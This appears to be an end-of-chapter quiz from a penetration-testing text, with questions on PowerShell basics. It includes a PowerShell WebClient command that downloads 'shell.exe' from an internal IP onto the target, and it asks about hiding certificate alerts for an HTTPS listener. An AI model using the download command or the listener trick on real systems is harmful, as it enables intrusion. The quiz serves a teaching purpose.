Questions
Answer the following questions to test your knowledge of this chapter:
ls
,dir
, and PowerShell’s _____ provide the same functionality.- What does
[Convert]::ToString($number, 2)
do to the$number
variable? - In PowerShell, we grep out results with ____.
- The following command will create the
c:\shell
directory to writeshell.exe
to it (True | False):(New-Object System.Net.WebClient).DownloadFile("http://10.10.0.2/shell.exe", "c:\shell\shell.exe")
- When configuring an HTTPS listener, you can use the
cert.sh
script to prevent the target browser from displaying a certificate alert. (True | False)